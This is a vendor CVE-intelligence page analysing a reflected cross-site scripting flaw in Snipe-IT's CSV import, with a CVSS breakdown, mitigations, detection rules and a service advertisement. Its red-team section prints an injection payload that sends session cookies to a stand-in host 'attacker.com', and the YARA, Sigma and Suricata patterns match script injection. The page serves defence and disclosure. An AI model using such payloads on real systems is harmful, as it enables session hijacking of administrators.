☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-64027

CVE-2025-64027 Cross-Site Scripting in Snipe-it
📅 PUBLISHED: 2025-11-20 00:00 UTC 🔄 UPDATED: 2026-08-28 22:35 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
5.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-64027 is a reflected cross-site scripting (XSS) vulnerability discovered in Snipe-IT v8.3.4 (build 20218), an open-source asset management system. The flaw resides in the CSV Import workflow, specifically within the progress_message parameter returned when an invalid CSV file is uploaded. An authenticated attacker with admin privileges can intercept and modify the POST /livewire/update request to inject arbitrary HTML or JavaScript. Because the server reflects the unsanitized input back to the admin interface, the injected script executes in the browser of any authenticated admin viewing the import page. The vendor disputes the finding, arguing it requires an authenticated user to perform a man-in-the-middle attack against themselves. However, from a threat intelligence perspective, this represents a valid attack vector in multi-tenant or shared-admin environments where one admin could target another.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Snipe-IT is a PHP/Laravel application. The vulnerability does not directly affect the supply chain of NPM, PyPI, Go, or Ruby packages. However, the application relies on Livewire (a Laravel library) for its reactive components. The flaw is in the application’s handling of user input, not in the Livewire library itself. No known malicious packages are associated with this CVE.

CVSS Breakdown & Threat Level

CVSS Score: 4.8 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

  • Attack Vector (AV): Network – the attacker can exploit this remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): High – attacker must be an authenticated admin.
  • User Interaction (UI): Required – the victim admin must view the import page.
  • Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
  • Confidentiality (C): Low – limited data exposure possible.
  • Integrity (I): Low – limited ability to modify data.
  • Availability (A): None – no impact on availability.

Threat Level: Medium. The requirement for admin privileges and user interaction reduces the risk, but in environments with multiple admins or shared admin accounts, the impact could be significant.

Deep Dive & Mechanics

The vulnerability is triggered during the CSV import process. When an admin uploads a malformed CSV file, the application returns a progress_message value that is rendered as raw HTML in the admin interface. The attack flow is as follows:

  1. Normal Flow: An admin uploads a CSV file via the import feature. The server processes the file and returns a progress_message indicating success or failure. This message is displayed in the admin UI.

  2. Exploitation: An attacker (authenticated as an admin) intercepts the POST /livewire/update request using a proxy like Burp Suite. They modify the progress_message parameter to include malicious JavaScript, e.g., <script>alert('XSS')</script>.

  3. Reflection: The server accepts the modified input without sanitization and reflects it back in the response. The browser of any admin viewing the import page executes the injected script.

  4. Impact: The attacker can steal session cookies, perform actions on behalf of the victim admin, or deface the admin interface.

The root cause is the lack of output encoding or sanitization on the progress_message parameter. The application uses Livewire, which typically handles XSS protection, but in this case, the raw HTML rendering bypasses those protections.

Vulnerable vs. Patched Code

Vulnerable Code (Snipe-IT v8.3.4):
The vulnerable code is in the Livewire component handling CSV imports. The progress_message is returned directly without sanitization.

// Vulnerable: progress_message is returned as raw HTML
public function importCsv()
{
    // ... processing ...
    $this->progress_message = $message; // $message contains user-controlled input
}

Patched Code (Hypothetical):
A patch would sanitize the progress_message using Laravel’s e() function or strip tags.

// Patched: progress_message is escaped
public function importCsv()
{
    // ... processing ...
    $this->progress_message = e($message); // Escape HTML entities
}

Note: No official patch has been released as of this report. The vendor disputes the finding.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of Snipe-IT v8.3.4 (build 20218).
  • Admin credentials for the target instance.
  • A proxy tool like Burp Suite or OWASP ZAP.

Exploitation Steps:

  1. Log in as an admin user.
  2. Navigate to the CSV Import page (e.g., /admin/import).
  3. Upload a malformed CSV file (e.g., a file with invalid headers) to trigger the import process.
  4. Intercept the POST /livewire/update request using Burp Suite.
  5. Modify the progress_message parameter to inject JavaScript:
    progress_message=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  6. Forward the request. The injected script will execute in the browser of any admin viewing the import page.

Proof of Concept (PoC):

<!-- PoC: Inject this into progress_message -->
<script>alert('XSS')</script>

Blue Team

Detection Steps:

  1. Monitor POST /livewire/update requests for unusual progress_message values containing HTML tags or JavaScript.
  2. Check server logs for repeated failed CSV uploads from the same admin user.
  3. Use a Web Application Firewall (WAF) to block requests with <script> tags in the progress_message parameter.

Mitigation:

  • Apply input validation and output encoding on the progress_message parameter.
  • Restrict admin access to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

Network IOCs:

  • POST /livewire/update requests with progress_message containing <script> tags.
  • Outbound connections to attacker-controlled domains from the Snipe-IT server.

File IOCs:

  • Malformed CSV files with unusual content in headers or data fields.

Log IOCs:

  • Repeated Invalid CSV file errors in application logs.
  • Unusual progress_message values in Livewire component logs.

Detection Engineering

YARA Rule

rule CVE_2025_64027_XSS {
    meta:
        description = "Detects reflected XSS in Snipe-IT CSV import progress_message"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64027"
    strings:
        $xss1 = /progress_message=.*<script>/ nocase
        $xss2 = /progress_message=.*<img.*onerror=/ nocase
        $xss3 = /progress_message=.*<svg.*onload=/ nocase
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in Snipe-IT CSV Import
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts in Snipe-IT CSV import progress_message parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: /livewire/update
        cs-uri-query|contains: progress_message
        cs-uri-query|re: (<script|<img.*onerror|<svg.*onload)
    condition: selection
falsepositives:
    - Legitimate use of HTML in progress messages (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64027 Reflected XSS in Snipe-IT CSV Import"; flow:to_server; content:"POST"; http_method; content:"/livewire/update"; http_uri; content:"progress_message"; http_client_body; pcre:"/(<script|<img.*onerror|<svg.*onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the CSV import feature for non-essential admin users.
  2. Apply a virtual patch using a WAF to block requests with HTML tags in progress_message.
  3. Monitor admin activity for suspicious behavior.

Long-term Fix:

  • The vendor should release a patch that sanitizes the progress_message parameter using output encoding (e.g., htmlspecialchars() in PHP).
  • Implement Content Security Policy (CSP) headers to prevent inline script execution.
  • Conduct a security audit of all Livewire components for similar issues.

Workaround:

  • Modify the application code to escape progress_message before rendering:
    $this->progress_message = e($message);
    

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-64027/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.